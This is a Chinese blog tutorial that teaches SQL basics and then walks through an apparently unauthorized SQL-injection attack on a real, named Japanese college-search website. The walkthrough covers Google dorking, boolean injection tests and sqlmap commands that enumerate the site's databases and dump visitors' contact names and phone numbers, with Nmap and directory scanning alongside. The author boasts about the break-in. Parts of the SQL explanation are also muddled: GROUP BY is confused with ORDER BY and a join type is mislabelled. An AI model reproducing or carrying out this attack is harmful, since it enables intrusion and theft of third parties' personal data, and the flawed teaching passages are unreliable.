資料庫黑客知識速成:關於入門你需要知道的全部
資料庫及其基本概念
本文用到的線上學習資源:https://www.w3schools.com/sql/
從小白到黑站入門,本文提供最全面的一條龍服務。(゜-゜)つロ 乾杯~
- 資料庫是按照資料結構來組織、儲存和管理資料的倉庫。
- 它誕生於 60 多年前的 1950 年,發明人為雷明頓蘭德公司。
- 1961年,美國通用公司研發的第一個資料庫系統 DBMS 誕生。1976年霍尼韋爾公司(Honeywell)開發了第一個商用關係資料庫系統——Multics Relational Data Store。
- 資料庫分為關係型資料庫和非關係型,關係型資料庫技術較成熟,用途廣泛。本系列我們只學習關係型資料庫。
- 關係型資料庫包括:Oracle、Sybase、SQL Server、DB2、Access 等等。
- 資料庫的幾個概念:資料庫(database)、資料庫管理系統(database manage system)、表(table)、列(column)、使用者(user)、密碼(password)…… 下面的系列圖生動的說明了它們的關係。
使用者介面。這是你與資料庫中儲存的資料進行直接互動的地方。
資料庫管理系統。提供了資料庫管理語言(DDL)和資料庫查詢語言(DML)用來管理資料庫。MySQL 是一個著名的開源關型資料庫管理系統。
資料庫。一個網站可能有多個數據庫。
表、列和行。一個數據庫通常有多個數據表,用來分門別類的儲存不同的專案種類。一個數據列相當於一個屬性,用來描述特定的物件。這個物件就是它對應的資料表的資料行。你不能把行和列分開看,通常結合二者考慮,比如下圖的第一行對應的物件,它的 Price 屬性為 $400.00。
類似的下圖更好的描述了一個數據表應有的樣子。
我們說:
第二行名為 Bat 的人的年齡為 54
翻譯成資料庫查詢語言就是(假設資料表為 Table):
SELECT [Age] FROM [Table] WHERE [First Name]="Micky"
查詢語句
0x00:列印整個資料表
SELECT * FROM [表名]
0x01:查詢某個資料列
SELECT [列名1],[列名2]... FROM [表名]
0x02:篩選某個資料列
SELECT [列名1],[列名2]... FROM [表名] WHERE [某列名] 運算子 值
eg.1
SELECT City FROM Customers WHERE Country='UK'
eg.2
SELECT * FROM Orders WHERE ShipperID=2 and employeeID=1
eg.3
SELECT * FROM Orders WHERE CustomerID in (63,64)
eg.4
SELECT * FROM Customers WHERE ADDRESS LIKE "A%"
0x03:去除重複值
SELECT DISTINCT [列名] FROM [表名]
eg.1
SELECT DISTINCT Country AS 國家 FROM Customers WHERE 國家 LIKE "U%"
eg.2
SELECT DISTINCT City AS 城市, Country AS 國家 FROM Customers WHERE 城市 in ('Berlin', 'London')
0x04:對輸出結果進行排序
SELECT City, Country FROM Customers WHERE Country="USA" ORDER BY City
0x05:插入新的資料
INSERT INTO [表名] VALUES(...)
INSERT INTO Orders VALUES(10086,20,3,'2008-4-1',9)
0x06:修改原始資料
UPDATE [表名] SET [列名1]=新值 WHERE [列名2]=某值
UPDATE Orders SET OrderID=12580 WHERE OrderDate='2008-4-1'
0x07:刪除表中資料
DELETE FROM Orders WHERE OrderID=12580
這樣一來,原來的那行資料就被刪掉了。
0x08:查詢滿足特定條件的物件行個數
SELECT COUNT(列名) FROM [表名] WHERE [列名] 運算子 值
SELECT COUNT(City) FROM Customers WHERE Country='UK' OR Country="USA"
JOIN 操作
所謂 JOIN
,就是加入的意思。
SELF JOIN(沒有這個關鍵字)
如果兩個或多個數據表有相同名稱的資料列,可以以此為橋樑。下面的兩個資料表 Orders、OrderDetails,都有相同的資料列 OrderID。
SELECT Quantity,ShipperID FROM OrderDetails,Orders WHERE OrderDetails.OrderID=Orders.OrderID
SELECT
後面跟的資料列順序直接關係到列印的左右排列順序,而這裡 FROM
後面跟的資料列順序隨意,只要全部囊括即可。
我們可以使用 JOIN
系列函式來完成 “多個數據表的資料合併” 工作。
- (INNER)JOIN:返回兩個表中具有匹配值的記錄。
- LEFT(OOUTER)JOIN:返回左表中的所有記錄,以及右表中的匹配記錄。
- RIGHT(OUTER)JOIN:返回右表中的所有記錄,以及左表中的匹配記錄。
- FULL(OUTER)JOIN:當左表或右表中匹配時返回所有記錄。
INNER JOIN
SELECT Orders.OrderID, Customers.CustomerName
FROM Orders
INNER JOIN Customers ON Orders.CustomerID = Customers.CustomerID WHERE OrderID BETWEEN 10248 AND 10255;
LEFT JOIN & RIGHT JOIN
SELECT Customers.CustomerName, Orders.OrderID
FROM Customers
LEFT JOIN Orders
ON Customers.CustomerID=Orders.CustomerID
WHERE OrderID<10255
ORDER BY Customers.CustomerName;
SELECT Orders.OrderID, Employees.LastName, Employees.FirstName
FROM Orders
RIGHT JOIN Employees
ON Orders.EmployeeID = Employees.EmployeeID
WHERE OrderID<10255
ORDER BY Orders.OrderID;
UNION 操作
UNION
意即 “聯合”。該操作符用於合併兩個或多個 SELECT 語句的結果集。
- UNION 內部的 SELECT 語句必須擁有相同數量的列。
- 列也必須擁有相似的資料型別。
- 每條 SELECT 語句中的列的順序必須相同。
eg.1
SELECT CustomerID AS 消費者編號 FROM Customers
UNION
SELECT OrderID AS 訂單編號 FROM Orders -- 這裡的別名根本不起作用
eg.2
SELECT City FROM Customers
UNION
SELECT City FROM Suppliers
ORDER BY City;
UNION
在資料庫入侵的前期猜解工作中顯得尤為重要。
SQL 函式
提到 SQL 查詢函式就不得不提 GROUP BY
語句。該語法用於結合合計函式(COUNT
、MAX
、MIN
、SUM
、AVG
),根據一個或多個列對結果集進行分組。
SELECT COUNT(CustomerID), Country
FROM Customers
WHERE Country LIKE "A%" OR Country LIKE "C%"
GROUP BY Country;
比如下面這個資料表。
O_ld | OrderDate | OrderPrice | Customer |
---|---|---|---|
1 | 2008/12/29 | 1000 | Bush |
2 | 2008/11/23 | 1600 | Carter |
3 | 2008/10/05 | 700 | Bush |
4 | 2008/09/28 | 300 | Bush |
5 | 2008/08/06 | 2000 | Adams |
6 | 2008/07/21 | 100 | Carter |
使用如下的查詢語句。
SELECT Customer,SUM(OrderPrice) FROM Orders
GROUP BY Customer
得到類似下面的輸出結果。
Customer | SUM(OrderPrice) |
---|---|
Bush | 2000 |
Carter | 1700 |
Adams | 2000 |
但是如果你這樣寫(錯誤示範)。
SELECT Customer,SUM(OrderPrice) FROM Orders -- 這是一個錯誤示範。
則會得到。
Customer | SUM(OrderPrice |
---|---|
Bush | 5700 |
Carter | 5700 |
Bush | 5700 |
Bush | 5700 |
Adams | 5700 |
Carter | 5700 |
上面的 SELECT 語句指定了兩列(Customer 和 SUM(OrderPrice))。“SUM(OrderPrice)” 返回一個單獨的值(“OrderPrice” 列的總計),而 “Customer” 返回 6 個值(每個值對應 “Orders” 表中的每一行)。因此,我們得不到正確的結果。可見 ORDER BY
語句和 SQL 查詢函式結合使用是十分重要的。
接下來要提的是 HAVING
語句,它之所以被新增到 SQL 語法中是因為 WHERE
關鍵字不能與合計函式一起使用。下面的例子如果你使用 WHERE
則會報錯。
SELECT COUNT(CustomerID), Country
FROM Customers
GROUP BY Country
HAVING COUNT(CustomerID) > 5
ORDER BY COUNT(CustomerID) DESC;
EXIST
運算子用於測試子查詢中是否存在任何記錄。
SELECT SupplierName
FROM Suppliers
WHERE EXISTS (SELECT ProductName FROM Products WHERE SupplierId = Suppliers.supplierId AND Price = 22);
(#°Д°)/ 黑站第一步:帶你飛~ ♡
常言道:裝逼如風;長伴吾身。
首先,谷歌駭客。
"學校" inurl:php?id=
找到一個日本破站。
http://www.***/search/college.php?id=490
首先在網址後加上%27
(單引號)。
http://www.***.org/search/college.php?id=490%27
發現頁面返回錯誤。
接著再嘗試。
http://www.***.org/search/college.php?id=490%20AND%201=1
http://www.***.org/search/college.php?id=490%20AND%201=2
說明該網站存在 “數字型 SQL 注入” 漏洞(基於布林型的盲注)。
使用二分法,最後得到當前資料庫存在 174 條記錄(後面 Sqlmap 相呼應)。
http://www.n***.org/search/college.php?id=490%20ORDER%20BY%20175
這裡我用 Sqlmap 掃描,結果如圖。
經驗證,該破站確實存在注入漏洞:id 引數乃注入點。
這時候你可以使用下面的小技巧來手動檢查該網站存在哪些資料庫、資料表。
... and exists(select * from 猜解的資料表名)
所謂慢工出細活……但是我才沒有你那麼傻。使用 Sqlmap 對目標網站進行掃描。當然上面的是原理,同樣是必須掌握的。
-- 掃描目標站點的資料庫
sqlmap -u "http://www.***.org/search/college.php?id=490" --dbs
-- 掃描目標站點的資料表
sqlmap -u "http://www.***.org/search/college.php?id=490" --tables
掃描得到該網站的資料庫。
information_schema,japanese_college,japanese_college_db,test_db,test_db2
描網站的使用者。
掃描網站的當前使用的資料庫。
很可惜,這只是個普通使用者(不是管理員)。
用 Nmap 掃描以下對方的伺服器。對方使用 FreeBDS 作業系統。
用網站目錄掃描器掃一下,發現幾個好東西。
- php 配置介面。http://www.xxx.org/info.php
- 管理員介面。http://www.xxx.org/admin
這是對該網站當前資料庫的脫褲結果。
在實際入侵中,沒時間給你一個個去看,你必須根據這些資料表的名字進行初步推斷。你發現這些資料表的名字有個特點,大部分都是以 mt 開頭。只有兩個例外。
college,program
從名字推斷,college 應該是個重要的資料表,裡面可能儲存著重要的資料。
sqlmap -u "http://www.nisshinkyo.org/search/college.php?id=490" -D japanese_college_db -T college -columns --dump --no-cast --random-agent --threads 6 --level 3 --delay 1
下圖直觀的表名當前資料表確實存在 174 條記錄,與之前我手測結果一致。
在掃描的過程中,你要善於解讀那些資料表的名字。下面這些名字引起了我的注意。
contact_name,contact_tel,contact_address
因為我目錄掃描的結果顯示,該網站存在一個名為 ../contact
的子目錄。這裡是諮詢使用者填寫個人資訊的地方。
結合兩者,我們構造如下的注入語句。
sqlmap -u "http://www.nisshinkyo.org/search/college.php?id=490"- D japanese_college_db -T college -C contact_name,contact_tel --dump --random-agent --delay 1
成功脫褲。
以上。裝逼結束。其實可以玩的還有很多比如你可以用 Nmap 掃一下對方的主機,看看對方使用的是什麼作業系統,開啟了哪些服務,這些服務的版本號是什麼……這些東西原則上作為偵測階段是要最先進行的,但是實際入侵中,往往就著現實情況採取行動。對方使用的是 BSD 作業系統。只開起了 80 埠,用於網站的 HTTP 連線。為什麼不用 HTTPS 呢?可以想見,一點可能是因為嫌麻煩,但是也可能是因為資金問題,說白了就是沒錢。抑或是因為對方壓根就沒有把這個網站放在心裡(這一點暫且否決)。不管怎麼說,既然不是 HTTPS,那就已經預示著它是不安全的了。所謂沒有絕對的安全,只要資訊科技存在一天,再小的漏洞我們也有辦法破解(不過是時間問題)。我不扯了,畢竟這是一篇入門級教程,更何況——
逼已矣,欲言而無辭也。